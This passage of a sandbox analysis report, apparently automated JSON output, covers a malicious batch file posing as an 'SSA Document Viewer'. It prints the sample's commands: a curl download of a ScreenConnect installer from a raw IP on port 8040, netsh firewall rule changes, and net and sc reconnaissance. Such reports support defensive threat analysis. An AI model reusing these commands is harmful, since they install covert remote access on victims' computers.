\"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"net1.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"sc.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"netsh.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$45","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"NetServerEnum\" (Indicator: \"NetServerEnum\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-313","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate user groups or their members (API string)","description":"Found reference to API \"NetGroupGetUsers\" (Indicator: \"NetGroupGetUsers\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"NetGroupEnum\" (Indicator: \"NetGroupEnum\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069","relevance":1,"id":"string-219","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve Domain Trust data (API string)","description":"Found reference to API \"DsGetDcNameW\" (Indicator: \"DsGetDcName\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1482","relevance":1,"id":"string-259","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameLocalW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"LsaLookupNames2\" (Indicator: \"LsaLookupNames\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"LsaLookupNames\" (Indicator: \"LsaLookupNames\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"GetModuleHandle failed\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetSystemDirectoryW\" (Indicator: \"GetSystemDirectory\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"where msiexec >nul 2>&1\" (Indicator: \"where \"; File: \"SSA _Document Viewer.bat\")\n Found string \"where powershell >nul 2>&1\" (Indicator: \"where \"; File: \"SSA _Document Viewer.bat\")\n Found string \"where curl >nul 2>&1\" (Indicator: \"where \"; File: \"SSA _Document Viewer.bat\")\n Found string \"where msiexec\" (Indicator: \"where \"; Source: \"00000000-00006472-00000C47-14864046114\")\n Found string \"where powershell\" (Indicator: \"where \"; Source: \"00000000-00006472-00000C47-15212434150\")\n Found string \"where curl\" (Indicator: \"where \"; Source: \"00000000-00006472-00000C47-15596442402\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve state data for the computer (API string)","description":"Found reference to API \"DsRoleGetPrimaryDomainInformation\" (Indicator: \"DsRoleGetPrimaryDomainInformation\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-116","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"password=\" (Indicator: \"password\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete a user account from a server (API string)","description":"Found reference to API \"NetUserDel\" (Indicator: \"NetUserDel\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-216","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete users from a group (API string)","description":"Found reference to API \"NetGroupDelUser\" (Indicator: \"NetGroupDelUser\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"NetGroupDelUser\" (Indicator: \"NetGroupDel\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"NetGroupDel\" (Indicator: \"NetGroupDel\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-218","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"Found string \"ChangeServiceConfigW\" (Indicator: \"changeserviceconfigw\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$46","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"del \"%TEMP%\\scpath.txt\" /q >nul 2>&1\" (Indicator: \"del \") in Source: SSA _Document Viewer.bat","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$47","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"$48","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"net.exe\" opened \"\\Device\\KsecDD\"\n \"net1.exe\" opened \"\\Device\\KsecDD\"\n \"netsh.exe\" opened \"\\Device\\KsecDD\"\n \"curl.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$49","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Security","name":"References device drivers used by rootkit malware","description":"Found string \"\\Device\\HarddiskVolume2\\DosDevices\\C:\\??\\Volume{815ead30-0000-0000-0000-501f00000000}$\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00000160.00000000.142109.F96BB000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\DosDevices\\C:\\??\\Volume{815ead30-0000-0000-0000-501f00000000}A\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00005776.00000000.141143.BCCEB000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\DosDevices\\C:\\??\\Volume{815ead30-0000-0000-0000-501f00000000}DLL.mui\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00006852.00000000.142753.B7D40000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\DosDevices\\C:\\??\\Volume{815ead30-0000-0000-0000-501f00000000}J\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00007004.00000000.142431.466CA000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\DosDevices\\C:\\??\\Volume{815ead30-0000-0000-0000-501f00000000}\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00007248.00000000.141465.CBDAD000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1014","relevance":1,"id":"string-458","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$4a","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops a file that contains system information","description":"\"ScreenConnect_Install.log\" contains indicator \"HAPUBWS\" (Line: 2; Offset: 41)","origin":"Binary File","mitre_attack_id":"T1005","relevance":3,"id":"binary-58","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"net1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","description":"$4b","origin":"Monitored Target","relevance":3,"id":"target-411","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"5/26 Antivirus vendors marked sample as malicious (19% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"suspicious","category":"General","name":"References URL in command line","description":"Process \"curl.exe\" with commandline \"curl -s -L -o \"%TEMP%\\\\ScreenConnect_1091_58.56\\\\ScreenConnect.ClientSetup.msi\" \"http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest\" --connect-timeout 300 --max-time 2400 --retry 12 --retry-delay 25 --retry-max-time 1800 --show-error\" (UID: 00000000-00004068)","origin":"Monitored Target","mitre_attack_id":"T1105","relevance":1,"id":"target-174","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Creates new processes","description":"\"net.exe\" is creating a new process (Name: \"C:\\WINDOWS\\system32\\net1.exe\")","origin":"API Call","mitre_attack_id":"T1106","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"$4c","origin":"API Call","mitre_attack_id":"T1012","relevance":1,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"\\\\%s\\root\\cimv2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"net.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\System32\\net1.exe\" (Handle: 228)\n \"net.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\net1.exe\" (Handle: 228)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"malicious","category":"Network Related","name":"Maps a network share location","description":"Process \"net.exe\" with commandline \"net session\" (UID: 00000000-00005724)\n Process \"net1.exe\" with commandline \"%WINDIR%\\\\system32\\\\net1 session\" (UID: 00000000-00007200)","origin":"Monitored Target","mitre_attack_id":"T1049","relevance":3,"id":"target-88","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 163.245.215.154 on port 8040","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"malicious","category":"System Security","name":"Modifies firewall settings","description":"$4d","origin":"Monitored Target","mitre_attack_id":"T1562.004","relevance":8,"id":"target-15","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$4e","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]}],"incidents":[{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Spawns many processes"},{"detail":"Modifies firewall settings"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]}],"intel_graph":{"map":{"File:66cd5055827cf161b6da47ff29c49035085d38f66b997216b41a50a0431f10e2":{"type":"File","value":"66cd5055827cf161b6da47ff29c49035085d38f66b997216b41a50a0431f10e2"},"File:b82d28bbdc0012d2ca01005b9d152ad6b53c29c0f6dd9a3896f8c32086b3870d":{"type":"File","value":"b82d28bbdc0012d2ca01005b9d152ad6b53c29c0f6dd9a3896f8c32086b3870d"},"Ip:163.245.215.154":{"type":"Ip","value":"163.245.215.154"}},"chains":[{"id":"sandbox_network","root":"File:b82d28bbdc0012d2ca01005b9d152ad6b53c29c0f6dd9a3896f8c32086b3870d","edges":[{"edge_kind":"contacted_ip","from_key":"File:b82d28bbdc0012d2ca01005b9d152ad6b53c29c0f6dd9a3896f8c32086b3870d","to_key":"Ip:163.245.215.154"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:b82d28bbdc0012d2ca01005b9d152ad6b53c29c0f6dd9a3896f8c32086b3870d","edges":[{"edge_kind":"extracted","from_key":"File:b82d28bbdc0012d2ca01005b9d152ad6b53c29c0f6dd9a3896f8c32086b3870d","to_key":"File:66cd5055827cf161b6da47ff29c49035085d38f66b997216b41a50a0431f10e2"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":18,"spawned_processes_count":18,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":123,"dropped_files_count":0,"extracted_files_count":1,"files_written_count":2,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":4,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6aa91d4692fd417a73088368","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"CMD:Heur.BZC.PZQ.Leopard.1","contacted_countries":["USA"],"submit_name":"SSA _Document Viewer.bat","analysis_start_time":"2026-09-15T10:26:14+00:00","indicators_count":{"informative":165,"suspicious":18,"malicious":5},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"163.245.215.154","port":8040,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]}],"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}],"processes":[{"pid":6472,"ppid":0,"name":"cmd.exe","command_line":"/c \"\"C:\\SSA_DocumentViewer.bat\" \"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00006472","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACWklEQVR4Xu2U208aQRSH/ef70KQvfWgbpQoYxaCNtSByWy7bEqiwVloVZFFAhXjvA3d4OZ3fKBuyDGYWo33ZSU6YwML3zTm/YW7OXvZ6XG/evqPXLDP/xQS+p9LCVzOfCwyHwxerwWBglGWBau2MAmGFWu023d3/pU1/gI718sRz02oc3u/3rQkAvuBepZ14iku4PV4KqWn64HBNPCsqM9yyAMrp2aDC2RUF4j8oltHoz+kFLa56DUHz80/Be72enABa/PGzm8N9kSQVz6/oqHZJh9UGHVTq9DWo0OKKl+ZdK0KJaXBpAcw5ltaoVL+l44sbJpHg7UdthWK8C79PzskXTfLRyMKlBRA2wNRcng4rDb4ffYY9uuBXVCOcsvButysngB/FjyNwaLtIQEnn+B6ysnBpAcDDaobKjTvSG7e81aMRfAvHH7JwWqdgMk2bvoA0XFoAwXIse8i19oX8UZVl4YZl4ZqHscDCuMUklthNwHUslnQO3tV+UTShPgnvdDpyAiMJvLrWNkhnYVSzedpJpNiVvKQlz7rR9kA4SgvOZf6ckxX226GIEG5JYFS4jrHHeWM0kMCfU6Va4wIAZvJFyus12i9VKbV3QPPsPRF8JgH8J+BaImwP4YwacIW1HCcH/P0nBy+tcMLGs04/s9oEvM2+b1nAXOOB283t8bbj5COB3FGZ5yMST07Any0gSjtGgLbj5IAns/t8BCL4swREcAQNgQMQbcfJsfcHI0J4q9WaTWAafPyqQSTD5j7t5IDPJCADF6VdBG82m9MFXrPMfHvZy17/bf0DbjT7Mj+JPksAAAAASUVORK5CYII="},{"pid":5724,"ppid":6472,"name":"net.exe","command_line":"net session","sha256":"8267ee144d1bf557bc2a8a46335242bf0c52b919442e03401f69028726116615","normalized_path":"%WINDIR%\\system32\\net.exe","parent_uid":"00000000-00006472","uid":"00000000-00005724"},{"pid":7200,"ppid":5724,"name":"net1.exe","command_line":"%WINDIR%\\system32\\net1 session","sha256":"325158c8f4b250fe7438c88c8bac47aedebece852aac5926308ca7dc29d7e31c","normalized_path":"%WINDIR%\\system32\\net1.exe","parent_uid":"00000000-00005724","uid":"00000000-00007200"},{"pid":8,"ppid":6472,"name":"cmd.exe","command_line":"/c ver","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006472","uid":"00000000-00000008"},{"pid":2232,"ppid":6472,"name":"where.exe","command_line":"where msiexec","sha256":"4dc3fa01ba87e9204ad65668a9c92f98353a0ba370bc59f61d3eafe8c754e248","normalized_path":"%WINDIR%\\system32\\where.exe","parent_uid":"00000000-00006472","uid":"00000000-00002232"},{"pid":7744,"ppid":6472,"name":"where.exe","command_line":"where powershell","sha256":"4dc3fa01ba87e9204ad65668a9c92f98353a0ba370bc59f61d3eafe8c754e248","normalized_path":"%WINDIR%\\system32\\where.exe","parent_uid":"00000000-00006472","uid":"00000000-00007744"},{"pid":5524,"ppid":6472,"name":"where.exe","command_line":"where curl","sha256":"4dc3fa01ba87e9204ad65668a9c92f98353a0ba370bc59f61d3eafe8c754e248","normalized_path":"%WINDIR%\\system32\\where.exe","parent_uid":"00000000-00006472","uid":"00000000-00005524"},{"pid":4504,"ppid":6472,"name":"sc.exe","command_line":"sc query \"msiserver\"","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\system32\\sc.exe","parent_uid":"00000000-00006472","uid":"00000000-00004504"},{"pid":3164,"ppid":6472,"name":"netsh.exe","command_line":"netsh advfirewall firewall delete rule name=\"ScreenConnect Outbound\"","sha256":"41100c756bc97ffca70a69d18c4440d446bad9a876ff4f3d52210dd0bdaee014","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00006472","uid":"00000000-00003164"},{"pid":5776,"ppid":6472,"name":"netsh.exe","command_line":"netsh advfirewall firewall delete rule name=\"ScreenConnect Inbound\"","sha256":"41100c756bc97ffca70a69d18c4440d446bad9a876ff4f3d52210dd0bdaee014","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00006472","uid":"00000000-00005776"},{"pid":7248,"ppid":6472,"name":"netsh.exe","command_line":"netsh advfirewall firewall delete rule name=\"ScreenConnect Server Port\"","sha256":"41100c756bc97ffca70a69d18c4440d446bad9a876ff4f3d52210dd0bdaee014","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00006472","uid":"00000000-00007248"},{"pid":5336,"ppid":6472,"name":"netsh.exe","command_line":"netsh advfirewall firewall delete rule name=\"ScreenConnect Network Discovery\"","sha256":"41100c756bc97ffca70a69d18c4440d446bad9a876ff4f3d52210dd0bdaee014","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00006472","uid":"00000000-00005336"},{"pid":160,"ppid":6472,"name":"netsh.exe","command_line":"netsh advfirewall firewall add rule name=\"ScreenConnect Outbound\" dir=out action=allow program=\"ScreenConnect.ClientService.exe\" enable=yes 